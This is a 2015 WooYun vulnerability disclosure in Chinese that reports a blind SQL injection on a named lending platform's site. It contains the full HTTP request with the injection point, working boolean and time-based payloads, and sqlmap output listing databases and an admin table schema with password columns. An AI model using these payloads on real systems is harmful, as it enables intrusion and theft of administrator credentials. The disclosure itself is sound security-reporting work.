P2P金融安全之好贷网某站存在SQL盲注各种admin

发表于 2015年07月22日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0128247

漏洞标题：P2P金融安全之好贷网某站存在SQL盲注各种admin

漏洞详情

披露状态：

2015-07-22: 细节已通知厂商并且等待厂商处理中
2015-07-22: 厂商已经确认，细节仅向厂商公开
2015-08-01: 细节向核心白帽子及相关领域专家公开
2015-08-11: 细节向普通白帽子公开
2015-08-21: 细节向实习白帽子公开
2015-09-05: 细节向公众公开

简要描述：

好在是布尔型盲注，跑的速度还行。表里各种adminamount

详细说明：

注入点：

GET /list/index/city/beijing*/xd_type/gouche/money/10/month/12.html HTTP/1.1<br>
X-Requested-With: XMLHttpRequest<br>
Referer: http://open.haodai.com:80/<br>
Cookie: PHPSESSID=gc4u5iaklethl5v2c7ap443562; city=beijing; LANDING_PAGE=http%3A%2F%2Fopen.haodai.com%2F; desktop=0; REFERER=open.haodai.com; SOURCE_URL=http%3A%2F%2Fopen.haodai.com%2F<br>
Host: open.haodai.com<br>
Connection: Keep-alive<br>
Accept-Encoding: gzip,deflate<br>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21<br>
Accept: */*

GET /list/index/city/beijing*/xd_type/gouche/money/10/month/12.html HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://open.haodai.com:80/

Cookie: PHPSESSID=gc4u5iaklethl5v2c7ap443562; city=beijing; LANDING_PAGE=http%3A%2F%2Fopen.haodai.com%2F; desktop=0; REFERER=open.haodai.com; SOURCE_URL=http%3A%2F%2Fopen.haodai.com%2F

Host: open.haodai.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

漏洞证明：

back-end DBMS: MySQL 5.0.12<br>
sqlmap resumed the following injection point(s) from stored session:<br>
---<br>
Parameter: #1* (URI)<br>
    Type: boolean-based blind<br>
    Title: AND boolean-based blind - WHERE or HAVING clause<br>
    Payload: http://open.haodai.com:80/list/index/city/beijing') AND 2827=2827 AND ('IkuO'='IkuO/xd_type/gouche/money/10/month/12.htmlType: AND/OR time-based blind<br>
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)<br>
    Payload: http://open.haodai.com:80/list/index/city/beijing') AND (SELECT * FROM (SELECT(SLEEP(5)))WiVp) AND ('uRUa'='uRUa/xd_type/gouche/money/10/month/12.html<br>
---<br>
back-end DBMS: MySQL 5.0.12<br>
available databases [2]:<br>
[*] hd<br>
[*] information_schema

back-end DBMS: MySQL 5.0.12

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: http://open.haodai.com:80/list/index/city/beijing') AND 2827=2827 AND ('IkuO'='IkuO/xd_type/gouche/money/10/month/12.htmlType: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: http://open.haodai.com:80/list/index/city/beijing') AND (SELECT * FROM (SELECT(SLEEP(5)))WiVp) AND ('uRUa'='uRUa/xd_type/gouche/money/10/month/12.html

---

back-end DBMS: MySQL 5.0.12

available databases [2]:

[*] hd

[*] information_schema

user:

back-end DBMS: MySQL 5.0.12<br>current user: '[email protected]%'

1	back-end DBMS: MySQL 5.0.12<br>current user: '[email protected]%'

admin表：

back-end DBMS: MySQL 5.0.12<br>
Database: hd<br>
Table: admin<br>
[24 columns]<br>
+--------------+-----------------------+<br>
| Column       | Type                  |<br>
+--------------+-----------------------+<br>
| agent_num    | char(12)              |<br>
| agent_passwd | varchar(16)           |<br>
| agent_phone  | varchar(16)           |<br>
| auth         | varchar(1024)         |<br>
| citys        | text                  |<br>
| citys_iued   | text                  |<br>
| email        | varchar(255)          |<br>
| id           | int(10) unsigned      |<br>
| isreadtj     | tinyint(1) unsigned   |<br>
| iutypes      | text                  |<br>
| menuid       | smallint(5) unsigned  |<br>
| name         | varchar(32)           |<br>
| pwd          | char(60)              |<br>
| pwd_key      | varchar(32)           |<br>
| qq           | char(11)              |<br>
| relation     | int(10) unsigned      |<br>
| role         | varchar(10)           |<br>
| stat         | tinyint(3) unsigned   |<br>
| tel          | char(11)              |<br>
| tquin        | int(11) unsigned      |<br>
| type         | tinyint(3) unsigned   |<br>
| weixin       | char(32)              |<br>
| xdtypes      | text                  |<br>
| zone_id      | mediumint(8) unsigned |<br>
+--------------+-----------------------+